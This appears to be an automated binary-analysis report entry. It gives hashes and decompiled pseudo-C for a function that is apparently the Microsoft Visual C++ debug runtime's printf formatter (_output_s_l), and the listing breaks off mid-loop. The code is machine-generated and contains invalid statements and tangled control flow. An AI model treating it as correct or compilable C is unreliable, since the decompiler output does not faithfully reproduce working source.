String ID: Module: $(*_errno())$...$Debug %s!Program: %s%s%s%s%s%s%s%s%s%s%s%s(Press Retry to debug the application)$Microsoft Visual C++ Debug Library$_CrtDbgReport: String too long or IO Error$__crtMessageWindowA$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")
API String ID: 1485069716-2339404796
Opcode ID: e6e3b000dd956f64145f8a95b7ab3133d4efe831eb3f4aeb946c28cdc4589d12
Instruction ID: b572297e40e2a0d8ac651a7349eb57f267937016cfb5d874b2eb6694c5dff79e
Opcode Fuzzy Hash: e6e3b000dd956f64145f8a95b7ab3133d4efe831eb3f4aeb946c28cdc4589d12
Instruction Fuzzy Hash: 043153B5F40228ABDB24DA919C46FDAB375AB58744F4040EEF308762C1D6B85EC08F99

Uniqueness

Uniqueness Score: -1.00%

Function 00434B25, Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E00434B25(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t495;
				signed int _t497;
				signed int _t503;
				void* _t508;
				signed int _t510;
				void* _t530;
				signed int _t548;
				void* _t558;
				signed int _t566;
				signed int _t593;
				void* _t621;
				void* _t622;
				signed int _t623;
				void* _t625;
				void* _t626;

				L0:
				while(1) {
					L0:
					_t622 = __esi;
					_t621 = __edi;
					_t558 = __ebx;
					_t495 = E00428360(_t623 + 0x14);
					_t626 = _t625 + 4;
					 *((intOrPtr*)(_t623 - 0x288)) = _t495;
					if( *((intOrPtr*)(_t623 - 0x288)) == 0) {
						goto L82;
					}
					L81:
					__ecx =  *(__ebp - 0x288);
					if( *(__ecx + 4) != 0) {
						L83:
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L86:
						while(1) {
							L190:
							if( *(_t623 - 0x28) != 0) {
								goto L216;
							}
							L191:
							if(( *(_t623 - 0x10) & 0x00000040) != 0) {
								if(( *(_t623 - 0x10) & 0x00000100) == 0) {
									if(( *(_t623 - 0x10) & 0x00000001) == 0) {
										if(( *(_t623 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t623 - 0x14)) = 0x20;
											 *(_t623 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t623 - 0x14)) = 0x2b;
										 *(_t623 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t623 - 0x14)) = 0x2d;
									 *(_t623 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t623 - 0x2c4)) =  *((intOrPtr*)(_t623 - 0x18)) -  *(_t623 - 0x24) -  *(_t623 - 0x1c);
							if(( *(_t623 - 0x10) & 0x0000000c) == 0) {
								E00428290(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
							}
							E004282D0( *(_t623 - 0x1c), _t623 - 0x14,  *(_t623 - 0x1c),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
							_t626 = _t626 + 0x10;
							if(( *(_t623 - 0x10) & 0x00000008) != 0) {
								if(( *(_t623 - 0x10) & 0x00000004) == 0) {
									E00428290(0x30,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
									_t626 = _t626 + 0x10;
								}
							}
							if( *(_t623 - 0xc) == 0) {
								L212:
								E004282D0( *(_t623 - 4),  *(_t623 - 4),  *(_t623 - 0x24),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
								goto L213;
							} else {
								L204:
								if( *(_t623 - 0x24) <= 0) {
									goto L212;
								}
								L205:
								 *(_t623 - 0x2dc) = 0;
								 *(_t623 - 0x2c8) =  *(_t623 - 4);
								 *(_t623 - 0x2cc) =  *(_t623 - 0x24);
								while(1) {
									L206:
									 *(_t623 - 0x2cc) =  *(_t623 - 0x2cc) - 1;
									if( *(_t623 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t623 - 0x32e) =  *( *(_t623 - 0x2c8));
									_t548 = E00434220(_t623 - 0x2d0, _t623 - 0x2d8, 6,  *(_t623 - 0x32e) & 0x0000ffff);
									_t626 = _t626 + 0x10;
									 *(_t623 - 0x2dc) = _t548;
									 *(_t623 - 0x2c8) =  *(_t623 - 0x2c8) + 2;
									if( *(_t623 - 0x2dc) != 0) {
										L209:
										 *(_t623 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									if( *(_t623 - 0x2d0) != 0) {
										L210:
										E004282D0( *((intOrPtr*)(_t623 + 8)), _t623 - 0x2d8,  *(_t623 - 0x2d0),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								if( *(_t623 - 0x24c) >= 0) {
									if(( *(_t623 - 0x10) & 0x00000004) != 0) {
										E00428290(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
									}
								}
							}
							L216:
							if( *(_t623 - 0x20) != 0) {
								L0041C3D0( *(_t623 - 0x20), 2);
								_t626 = _t626 + 8;
								 *(_t623 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
								_t594 =  *(_t623 - 0x251);
								 *(_t623 + 0xc) =  *(_t623 + 0xc) + 1;
								if( *(_t623 - 0x251) == 0 ||  *(_t623 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t623 - 0x251) < 0x20 ||  *(_t623 - 0x251) > 0x78) {
										 *(_t623 - 0x310) = 0;
									} else {
										 *(_t623 - 0x310) =  *( *(_t623 - 0x251) +  &M00407DE8) & 0xf;
									}
								}
								L7:
								 *(_t623 - 0x250) =  *(_t623 - 0x310);
								_t510 =  *(_t623 - 0x250) * 9;
								_t566 =  *(_t623 - 0x25c);
								_t594 = ( *(_t510 + _t566 + 0x407e08) & 0x000000ff) >> 4;
								 *(_t623 - 0x25c) = ( *(_t510 + _t566 + 0x407e08) & 0x000000ff) >> 4;
								if( *(_t623 - 0x25c) != 8) {
									L16:
									 *(_t623 - 0x318) =  *(_t623 - 0x25c);
									if( *(_t623 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t623 - 0x318) * 4 +  &M00435560))) {
										case 0:
											L18:
											 *(_t623 - 0xc) = 0;
											_t513 = E00431210( *(_t623 - 0x251) & 0x000000ff, E0041ACE0(_t623 - 0x40));
											_t629 = _t626 + 8;
											__eflags = _t513;
											if(_t513 == 0) {
												L24:
												E004281F0( *(_t623 - 0x251) & 0x000000ff,  *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t626 = _t629 + 0xc;
												goto L218;
											} else {
												E004281F0( *((intOrPtr*)(_t623 + 8)),  *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t629 = _t629 + 0xc;
												_t571 =  *( *(_t623 + 0xc));
												 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
												_t594 =  *(_t623 + 0xc) + 1;
												__eflags = _t594;
												 *(_t623 + 0xc) = _t594;
												asm("sbb eax, eax");
												 *(_t623 - 0x27c) =  ~( ~( *(_t623 - 0x251)));
												if(_t594 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t525 = L0041E210();
													_t629 = _t629 + 0x14;
													__eflags = _t525 - 1;
													if(_t525 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t623 - 0x27c);
												if( *(_t623 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L00422D00(_t571))) = 0x16;
													E00422A90(_t558, _t571, _t621, _t622, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t623 - 0x2f4) = 0xffffffff;
													E0041ACB0(_t623 - 0x40);
													_t503 =  *(_t623 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t74 = __ecx + 0x435598; // 0x498d04
											__edx =  *_t74 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M00435580))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t98 = __ecx - 0x30; // -48
												__edx = __eax + _t98;
												 *(__ebp - 0x18) = __eax + _t98;
											} else {
												__eax = __ebp + 0x14;
												 *(__ebp - 0x18) = E00428360(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t109;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E00428360(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t117 = __ecx + 0x4355c0; // 0x4dce9003
											__edx =  *_t117 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M004355AC))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													if( *(_t623 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t158 =  *(__ebp - 0x324) + 0x43562c; // 0xcccccc0d
											__ecx =  *_t158 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M004355F0))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L87:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L89;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													goto L0;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041B750(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E0041ACE0(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__ecx =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__edx = __ebp - 0x2a8;
															_push(__ebp - 0x2a8);
															__eax =  *0x440374; // 0xf2632e26
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041ACE0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x440380; // 0xf2d1ae26
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
															if( *((char*)(__ebp - 0x251)) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041ACE0(__ebp - 0x40));
																	__eax =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__ecx =  *0x44037c; // 0xf2c8ae26
																	E00424550(__ecx) =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__edx =  *(__ebp - 4);
															__eax =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__edx =  *(__ebp - 4);
																__edx =  *(__ebp - 4) + 1;
																__eflags = __edx;
																 *(__ebp - 4) = __edx;
															}
															__eax =  *(__ebp - 4);
															 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
															goto L190;
														}
														L126:
														__ecx =  *((char*)(__ebp - 0x251));
														__eflags = __ecx - 0x67;
														if(__ecx != 0x67) {
															goto L128;
														}
														L127:
														 *(__ebp - 0x30) = 1;
														goto L130;
													}
													L124:
													 *(__ebp - 0x30) = 6;
													goto L130;
												case 6:
													L75:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														__ebp + 0x14 = E00428360(__ebp + 0x14);
														 *(__ebp - 0x284) = __ax;
														__cl =  *(__ebp - 0x284);
														 *(__ebp - 0x248) = __cl;
														 *(__ebp - 0x24) = 1;
													} else {
														 *(__ebp - 0x280) = 0;
														__edx = __ebp + 0x14;
														__eax = E004283A0(__ebp + 0x14);
														 *(__ebp - 0x258) = __ax;
														__eax =  *(__ebp - 0x258) & 0x0000ffff;
														__ecx = __ebp - 0x248;
														__edx = __ebp - 0x24;
														 *(__ebp - 0x280) = E00434220(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
														__eflags =  *(__ebp - 0x280);
														if( *(__ebp - 0x280) != 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													do {
														L190:
														if( *(_t623 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													} while ( *(__ebp - 0x324) > 0x37);
													goto L72;
												case 7:
													L143:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 8:
													L108:
													__ecx = __ebp + 0x14;
													 *(__ebp - 0x298) = E00428360(__ebp + 0x14);
													__eax = E00433F00();
													__eflags = __eax;
													if(__eax != 0) {
														L118:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
														__eflags =  *(__ebp - 0x10) & 0x00000020;
														if(( *(__ebp - 0x10) & 0x00000020) == 0) {
															__edx =  *(__ebp - 0x298);
															__eax =  *(__ebp - 0x24c);
															 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
														} else {
															__eax =  *(__ebp - 0x298);
															 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
														}
														 *(__ebp - 0x28) = 1;
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
													L109:
													__edx = 0;
													__eflags = 0;
													if(0 == 0) {
														 *(__ebp - 0x32c) = 0;
													} else {
														 *(__ebp - 0x32c) = 1;
													}
													__eax =  *(__ebp - 0x32c);
													 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
													__eflags =  *(__ebp - 0x29c);
													if( *(__ebp - 0x29c) == 0) {
														_push(L"(\"\'n\' format specifier disabled\", 0)");
														_push(0);
														_push(0x695);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														__eax = L0041E210();
														__esp = __esp + 0x14;
														__eflags = __eax - 1;
														if(__eax == 1) {
															asm("int3");
														}
													}
													__eflags =  *(__ebp - 0x29c);
													if( *(__ebp - 0x29c) != 0) {
														L117:
														while(1) {
															L190:
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													} else {
														L116:
														 *((intOrPtr*)(L00422D00(__ecx))) = 0x16;
														__eax = E00422A90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
														 *(__ebp - 0x2f8) = 0xffffffff;
														__ecx = __ebp - 0x40;
														__eax = E0041ACB0(__ecx);
														__eax =  *(__ebp - 0x2f8);
														goto L229;
													}
												case 9:
													L151:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L153;
												case 0xa:
													L145:
													 *(__ebp - 0x30) = 8;
													goto L146;
												case 0xb:
													L89:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x328) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x328) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x328);
													 *(__ebp - 0x290) =  *(__ebp - 0x328);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E00428360(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														L100:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__edx =  *0x440f80; // 0x404448
															 *(__ebp - 4) = __edx;
														}
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x28c) =  *(__ebp - 4);
														while(1) {
															L103:
															__ecx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L104:
															__eax =  *(__ebp - 0x28c);
															__ecx =  *( *(__ebp - 0x28c));
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L105:
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
														}
														L106:
														__eax =  *(__ebp - 0x28c);
														__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
														__eflags = __eax;
														 *(__ebp - 0x24) = __eax;
														goto L107;
													} else {
														L93:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x440f84; // 0x404438
															 *(__ebp - 4) = __eax;
														}
														 *(__ebp - 0xc) = 1;
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x294) =  *(__ebp - 4);
														while(1) {
